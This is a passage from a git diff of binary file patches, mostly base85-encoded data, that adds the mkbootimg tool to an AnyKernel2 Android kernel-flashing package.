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 literal 0 HcmV?d00001 diff --git a/AnyKernel2/tools/mkbootimg b/AnyKernel2/tools/mkbootimg new file mode 100755 index 0000000000000000000000000000000000000000..91bc01a036a6e1fc2781a9763b9bd8dd07358f89 GIT binary patch literal 68112 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 